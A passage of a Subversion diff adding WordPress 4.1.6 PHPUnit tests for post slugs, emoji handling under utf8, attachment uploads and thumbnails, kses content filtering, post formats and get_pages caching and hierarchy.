+			'post_type' => 'post-type-1',
+			'post_name' => 'image',
+			'post_status' => 'publish',
+			'post_parent' => $one
+		);
+		$two = $this->factory->post->create( $args );
+
+		$this->assertEquals( 'some-slug', get_post( $one )->post_name );
+		$this->assertEquals( 'image', get_post( $attachment )->post_name );
+		$this->assertEquals( 'image-2', get_post( $two )->post_name );
+
+		// 'image' can be a child of image-2
+		$this->assertEquals( 'image', wp_unique_post_slug( 'image', 0, 'publish', 'post-type-1', $two ) );
+
+		_unregister_post_type( 'post-type-1' );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_utf8mb3_post_saves_with_emoji() {
+		global $wpdb;
+		$_wpdb = new wpdb_exposed_methods_for_testing();
+
+		if ( 'utf8' !== $_wpdb->get_col_charset( $wpdb->posts, 'post_title' ) ) {
+			$this->markTestSkipped( 'This test is only useful with the utf8 character set' );
+		}
+
+		require_once( ABSPATH . '/wp-admin/includes/post.php' );
+
+		$post_id = $this->factory->post->create();
+
+		$data = array(
+			'post_ID'      => $post_id,
+			'post_title'   => "foo\xf0\x9f\x98\x88bar",
+			'post_content' => "foo\xf0\x9f\x98\x8ebaz",
+			'post_excerpt' => "foo\xf0\x9f\x98\x90bat"
+		);
+
+		$expected = array(
+			'post_title'   => "foobar",
+			'post_content' => "foobaz",
+			'post_excerpt' => "foobat"
+		);
+
+		edit_post( $data );
+
+		$post = get_post( $post_id );
+
+		foreach( $expected as $field => $value ) {
+			$this->assertEquals( $post->$field, $value );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/attachments.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/attachments.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/attachments.php	(revision 33402)
@@ -0,0 +1,281 @@
+<?php
+
+/**
+ * @group post
+ * @group media
+ * @group upload
+ */
+class Tests_Post_Attachments extends WP_UnitTestCase {
+
+	function tearDown() {
+		// Remove all uploads.
+		$this->remove_added_uploads();
+		parent::tearDown();
+	}
+
+	function _make_attachment( $upload, $parent_post_id = 0 ) {
+
+		$type = '';
+		if ( !empty($upload['type']) ) {
+			$type = $upload['type'];
+		} else {
+			$mime = wp_check_filetype( $upload['file'] );
+			if ($mime)
+				$type = $mime['type'];
+		}
+
+		$attachment = array(
+			'post_title' => basename( $upload['file'] ),
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $parent_post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ],
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+		return $this->ids[] = $id;
+
+	}
+
+	function test_insert_bogus_image() {
+		$filename = rand_str().'.jpg';
+		$contents = rand_str();
+
+		$upload = wp_upload_bits($filename, null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+	}
+
+	function test_insert_image_no_thumb() {
+
+		// this image is smaller than the thumbnail size so it won't have one
+		$filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+
+		// intermediate copies should not exist
+		$this->assertFalse( image_get_intermediate_size($id, 'thumbnail') );
+		$this->assertFalse( image_get_intermediate_size($id, 'medium') );
+
+		// medium and full size will both point to the original
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( 'test-image.jpg', basename($downsize[0]) );
+		$this->assertEquals( 50, $downsize[1] );
+		$this->assertEquals( 50, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( 'test-image.jpg', basename($downsize[0]) );
+		$this->assertEquals( 50, $downsize[1] );
+		$this->assertEquals( 50, $downsize[2] );
+
+	}
+
+	function test_insert_image_thumb_only() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		update_option( 'medium_size_w', 0 );
+		update_option( 'medium_size_h', 0 );
+
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+
+		// intermediate copies should exist: thumbnail only
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( 'a2-small-150x150.jpg', $thumb['file'] );
+
+		$uploads = wp_upload_dir();
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$this->assertFalse( image_get_intermediate_size($id, 'medium') );
+
+		// the thumb url should point to the thumbnail intermediate
+		$this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+		// image_downsize() should return the correct images and sizes
+		$downsize = image_downsize($id, 'thumbnail');
+		$this->assertEquals( 'a2-small-150x150.jpg', basename($downsize[0]) );
+		$this->assertEquals( 150, $downsize[1] );
+		$this->assertEquals( 150, $downsize[2] );
+
+		// medium and full will both point to the original
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 300, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 300, $downsize[2] );
+
+	}
+
+	function test_insert_image_medium() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		update_option('medium_size_w', 400);
+		update_option('medium_size_h', 0);
+
+		$filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+		$uploads = wp_upload_dir();
+
+		// intermediate copies should exist: thumbnail and medium
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$medium = image_get_intermediate_size($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+		// the thumb url should point to the thumbnail intermediate
+		$this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+		// image_downsize() should return the correct images and sizes
+		$downsize = image_downsize($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename($downsize[0]) );
+		$this->assertEquals( 150, $downsize[1] );
+		$this->assertEquals( 150, $downsize[2] );
+
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 602, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( '2007-06-17DSC_4173.jpg', basename($downsize[0]) );
+		$this->assertEquals( 680, $downsize[1] );
+		$this->assertEquals( 1024, $downsize[2] );
+	}
+
+
+	function test_insert_image_delete() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		update_option('medium_size_w', 400);
+		update_option('medium_size_h', 0);
+
+		$filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+		$uploads = wp_upload_dir();
+
+		// check that the file and intermediates exist
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$medium = image_get_intermediate_size($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+		$meta = wp_get_attachment_metadata($id);
+		$original = $meta['file'];
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $original) );
+
+		// now delete the attachment and make sure all files are gone
+		wp_delete_attachment($id);
+
+		$this->assertFalse( is_file($thumb['path']) );
+		$this->assertFalse( is_file($medium['path']) );
+		$this->assertFalse( is_file($original) );
+	}
+
+	/**
+	 * GUID should never be empty
+	 * @ticket 18310
+	 * @ticket 21963
+	 */
+	function test_insert_image_without_guid() {
+		// this image is smaller than the thumbnail size so it won't have one
+		$filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$upload['url'] = '';
+		$id = $this->_make_attachment( $upload );
+
+		$guid = get_the_guid( $id );
+		$this->assertFalse( empty( $guid ) );
+	}
+
+	/**
+	 * @ticket 21963
+	 */
+	function test_update_attachment_fields() {
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$id = $this->_make_attachment( $upload );
+
+		$attached_file = get_post_meta( $id, '_wp_attached_file', true );
+
+		$post = get_post( $id, ARRAY_A );
+
+		$post['post_title'] = 'title';
+		$post['post_excerpt'] = 'caption';
+		$post['post_content'] = 'description';
+
+		wp_update_post( $post );
+
+		// Make sure the update didn't remove the attached file.
+		$this->assertEquals( $attached_file, get_post_meta( $id, '_wp_attached_file', true ) );
+	}
+
+	/**
+	 * @ticket 29646
+	 */
+	function test_update_orphan_attachment_parent() {
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment_id = $this->_make_attachment( $upload );
+
+		// Assert that the attachment is an orphan
+		$attachment = get_post( $attachment_id );
+		$this->assertEquals( $attachment->post_parent, 0 );
+
+		$post_id = wp_insert_post( array( 'post_content' => rand_str(), 'post_title' => rand_str() ) );
+
+		// Assert that the attachment has a parent
+		wp_insert_attachment( $attachment, '', $post_id );
+		$attachment = get_post( $attachment_id );
+		$this->assertEquals( $attachment->post_parent, $post_id );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/filtering.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/filtering.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/filtering.php	(revision 33402)
@@ -0,0 +1,112 @@
+<?php
+
+// save and fetch posts to make sure content is properly filtered.
+// these tests don't care what code is responsible for filtering or how it is called, just that it happens when a post is saved.
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Filtering extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		update_option('use_balanceTags', 1);
+		kses_init_filters();
+
+	}
+
+	function tearDown() {
+		kses_remove_filters();
+		parent::tearDown();
+	}
+
+	// a simple test to make sure unclosed tags are fixed
+	function test_post_content_unknown_tag() {
+
+		$content = <<<EOF
+<foobar>no such tag</foobar>
+EOF;
+
+		$expected = <<<EOF
+no such tag
+EOF;
+
+		$id = $this->factory->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// a simple test to make sure unbalanced tags are fixed
+	function test_post_content_unbalanced_tag() {
+
+		$content = <<<EOF
+<i>italics
+EOF;
+
+		$expected = <<<EOF
+<i>italics</i>
+EOF;
+
+		$id = $this->factory->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// test kses filtering of disallowed attribute
+	function test_post_content_disallowed_attr() {
+
+		$content = <<<EOF
+<img src='foo' width='500' href='shlorp' />
+EOF;
+
+		$expected = <<<EOF
+<img src='foo' width='500' />
+EOF;
+
+		$id = $this->factory->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	/**
+	 * test kses bug. xhtml does not require space before closing empty element
+	 * @ticket 12394
+	 */
+	function test_post_content_xhtml_empty_elem() {
+		$content = <<<EOF
+<img src='foo' width='500' height='300'/>
+EOF;
+
+		$expected = <<<EOF
+<img src='foo' width='500' height='300' />
+EOF;
+
+		$id = $this->factory->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// make sure unbalanced tags are untouched when the balance option is off
+	function test_post_content_nobalance_nextpage_more() {
+
+		update_option('use_balanceTags', 0);
+
+		$content = <<<EOF
+<em>some text<!--nextpage-->
+that's continued after the jump</em>
+<!--more-->
+<p>and the next page
+<!--nextpage-->
+breaks the graf</p>
+EOF;
+
+		$id = $this->factory->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $content, $post->post_content );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/formats.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/formats.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/formats.php	(revision 33402)
@@ -0,0 +1,159 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Formats extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+	}
+
+	function test_set_get_post_format_for_post() {
+		$post_id = $this->factory->post->create();
+
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+
+		$format = get_post_format( $post_id );
+		$this->assertEquals( 'aside', $format );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		$result = set_post_format( $post_id, '' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+	}
+
+	/**
+	 * @ticket 22473
+	 */
+	function test_set_get_post_format_for_page() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+		// The format can be set but not retrieved until it is registered.
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+		// Register format support for the page post type.
+		add_post_type_support( 'page', 'post-formats' );
+		// The previous set can now be retrieved.
+		$format = get_post_format( $post_id );
+		$this->assertEquals( 'aside', $format );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		$result = set_post_format( $post_id, '' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		remove_post_type_support( 'page', 'post-formats' );
+	}
+
+	function test_has_format() {
+		$post_id = $this->factory->post->create();
+
+		$this->assertFalse( has_post_format( 'standard', $post_id ) );
+		$this->assertFalse( has_post_format( '', $post_id ) );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+		$this->assertTrue( has_post_format( 'aside', $post_id ) );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+		// Standard is a special case. It shows as false when set.
+		$this->assertFalse( has_post_format( 'standard', $post_id ) );
+
+		// Dummy format type
+		$this->assertFalse( has_post_format( 'dummy', $post_id ) );
+
+		// Dummy post id
+		$this->assertFalse( has_post_format( 'aside', 12345 ) );
+	}
+
+	/**
+	 * @ticket 23570
+	 */
+	function test_get_url_in_content() {
+		$link = 'http://nytimes.com';
+		$commentary = 'This is my favorite link';
+		$link_with_commentary =<<<DATA
+$link
+
+$commentary
+DATA;
+		$href = '<a href="http://nytimes.com">NYT</a>';
+		$href_with_commentary =<<<DATA
+$href
+
+$commentary
+DATA;
+		$link_post_id = $this->factory->post->create( array( 'post_content' => $link ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$link_with_post_id = $this->factory->post->create( array( 'post_content' => $link_with_commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$empty_post_id = $this->factory->post->create( array( 'post_content' => '' ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$comm_post_id = $this->factory->post->create( array( 'post_content' => $commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		// Now with an href
+		$href_post_id = $this->factory->post->create( array( 'post_content' => $href ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$href_with_post_id = $this->factory->post->create( array( 'post_content' => $href_with_commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$empty_post_id = $this->factory->post->create( array( 'post_content' => '' ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$comm_post_id = $this->factory->post->create( array( 'post_content' => $commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+		$this->assertEquals( false, $content_link );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/getPages.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/getPages.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/getPages.php	(revision 33402)
@@ -0,0 +1,273 @@
+<?php
+
+/**
+ * @group post
+ */
+
+class Tests_Post_getPages extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+	}
+
+	/**
+	 * @ticket 23167
+	 */
+	function test_get_pages_cache() {
+		global $wpdb;
+
+		$this->factory->post->create_many( 15, array( 'post_type' => 'page' ) );
+		wp_cache_delete( 'last_changed', 'posts' );
+		$this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+		$pages = get_pages();
+		$this->assertEquals( 15, count( $pages ) );
+		$this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+		$num_queries = $wpdb->num_queries;
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Again. num_queries and last_changed should remain the same.
+		$pages = get_pages();
+		$this->assertEquals( 15, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Again with different args. last_changed should not increment because of
+		// different args to get_pages(). num_queries should bump by 1.
+		$pages = get_pages( array( 'number' => 10 ) );
+		$this->assertEquals( 10, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Again. num_queries and last_changed should remain the same.
+		$pages = get_pages( array( 'number' => 10 ) );
+		$this->assertEquals( 10, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Do the first query again. The interim queries should not affect it.
+		$pages = get_pages();
+		$this->assertEquals( 15, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Force last_changed to increment.
+		clean_post_cache( $pages[0]->ID );
+		$this->assertNotEquals( $time1, $time2 = wp_cache_get( 'last_changed', 'posts' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// last_changed bumped so num_queries should increment.
+		$pages = get_pages( array( 'number' => 10 ) );
+		$this->assertEquals( 10, count( $pages ) );
+		$this->assertEquals( $time2, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		$last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+		// This should bump last_changed.
+		wp_delete_post( $pages[0]->ID );
+		$old_changed_float = $this->_microtime_to_float( $last_changed );
+		$new_changed_float = $this->_microtime_to_float( wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertGreaterThan( $old_changed_float, $new_changed_float );
+
+		$num_queries = $wpdb->num_queries;
+		$last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+		// num_queries should bump after wp_delete_post() bumps last_changed.
+		$pages = get_pages();
+		$this->assertEquals( 14, count( $pages ) );
+		$this->assertEquals( $last_changed, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+	}
+
+	/**
+	 * @ticket 20376
+	 */
+	function test_get_pages_meta() {
+		$posts = $this->factory->post->create_many( 3, array( 'post_type' => 'page' ) );
+		add_post_meta( $posts[0], 'some-meta-key', '0' );
+		add_post_meta( $posts[1], 'some-meta-key', '' );
+		add_post_meta( $posts[2], 'some-meta-key', '1' );
+
+		$this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '0' ) ) ) );
+		$this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '1' ) ) ) );
+		$this->assertEquals( 3, count( get_pages( array( 'meta_key' => 'some-meta-key' ) ) ) );
+	}
+
+	/**
+	 * @ticket 22074
+	 */
+	function test_get_pages_include_exclude() {
+		$page_ids = array();
+
+		foreach ( range( 1, 20 ) as $i )
+			$page_ids[] = $this->factory->post->create( array( 'post_type' => 'page' ) );
+
+		$inc = array_slice( $page_ids, 0, 10 );
+		sort( $inc );
+		$exc = array_slice( $page_ids, 10 );
+		sort( $exc );
+
+		$include = get_pages( array( 'include' => $inc ) );
+		$inc_result = wp_list_pluck( $include, 'ID' );
+		sort( $inc_result );
+		$this->assertEquals( $inc, $inc_result );
+
+		$exclude = get_pages( array( 'exclude' => $exc ) );
+		$exc_result = wp_list_pluck( $exclude, 'ID' );
+		sort( $exc_result );
+		$this->assertEquals( $inc, $exc_result );
+	}
+
+	/**
+	 * @ticket 9470
+	 */
+	function test_get_pages_parent() {
+		$page_id1 = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$page_id2 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id1 ) );
+		$page_id3 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id2 ) );
+		$page_id4 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id1 ) );
+
+		$pages = get_pages( array( 'parent' => 0, 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id1 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => $page_id1, 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id2, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => array( $page_id1, $page_id2 ), 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id2, $page_id3, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => 0 ) );
+		$this->assertEqualSets( array( $page_id1 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => $page_id1 ) );
+		$this->assertEqualSets( array( $page_id2, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => array( $page_id1, $page_id2 ) ) );
+		$this->assertEqualSets( array( $page_id2, $page_id3, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 22389
+	 */
+	function test_wp_dropdown_pages() {
+		$this->factory->post->create_many( 5, array( 'post_type' => 'page' ) );
+
+		preg_match_all( '#<option#', wp_dropdown_pages( 'echo=0' ), $matches );
+
+		$this->assertEquals( 5, count( $matches[0] ) );
+	}
+
+	/**
+	 * @ticket 22208
+	 */
+	function test_get_chidren_fields_ids() {
+		$post_id = $this->factory->post->create();
+		$child_ids = $this->factory->post->create_many( 5, array( 'post_parent' => $post_id ) );
+
+		$post_ids = get_children( array( 'fields' => 'ids', 'post_parent' => $post_id ) );
+		$this->assertEqualSets( $child_ids, $post_ids );
+	}
+
+	/**
+	 * @ticket 25750
+	 */
+	function test_get_pages_hierarchical_and_no_parent() {
+		global $wpdb;
+		$page_1 = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_3 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_2 ) );
+
+		$pages = get_pages(); // Defaults: hierarchical = true, parent = -1
+		$pages_default_args = get_pages( array( 'hierarchical' => true, 'parent' => -1 ) );
+		// Confirm the defaults.
+		$this->assertEquals( $pages, $pages_default_args );
+
+		/*
+		 * Here's the tree we are testing:
+		 *
+		 * page 1
+		 * - page 2
+		 * -- page 4
+		 * - page 3
+		 *
+		 * If hierarchical => true works, the order will be 1,2,4,3.
+		 * If it doesn't, they will be in the creation order, 1,2,3,4.
+		 */
+
+		$this->assertEqualSets( array( $page_1, $page_2, $page_4, $page_3 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	function test_wp_list_pages_classes() {
+		$type = 'taco';
+		register_post_type( $type, array( 'hierarchical' => true, 'public' => true ) );
+
+		$posts = $this->factory->post->create_many( 2, array( 'post_type' => $type ) );
+		$post_id = reset( $posts );
+
+		$this->go_to( "/?p=$post_id&post_type=$type" );
+
+		$this->assertEquals( $post_id, get_queried_object_id() );
+
+		$output = wp_list_pages( array(
+			'echo' => false,
+			'title_li' => '',
+			'post_type' => $type
+		) );
+
+		$this->assertNotEmpty( $output );
+		$this->assertEquals( 2, substr_count( $output, 'class="page_item ' ) );
+		$this->assertContains( 'current_page_item', $output );
+		$this->assertEquals( 1, substr_count( $output, 'current_page_item' ) );
+
+		_unregister_post_type( $type );
+	}
+
+	function test_exclude_tree() {
+		$post_id1 = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$post_id2 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id1 ) );
+		$post_id3 = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$post_id4 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id3 ) );
+
+		$all = get_pages();
+
+		$this->assertCount( 4, $all );
+
+		$exclude1 = get_pages( "exclude_tree=$post_id1" );
+		$this->assertCount( 2, $exclude1 );
+
+		$exclude2 = get_pages( array( 'exclude_tree' => $post_id1 ) );
+		$this->assertCount( 2, $exclude2 );
+
+		$exclude3 = get_pages( array( 'exclude_tree' => array( $post_id1 ) ) );
+		$this->assertCount( 2, $exclude3 );
+
+		$exclude4 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id2 ) ) );
+		$this->assertCount( 2, $exclude4 );
+
+		$exclude5 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id3 ) ) );
+		$this->assertCount( 0, $exclude5 );
+
+		$post_id5 = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$post_id6 = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $post_id5 ) );
+
+		$exclude6 = get_pages( array( 'exclude_tree' => array( $post_id1, $post_id3 ) ) );
+		$this->assertCount( 2, $exclude6 );
+	}
+}
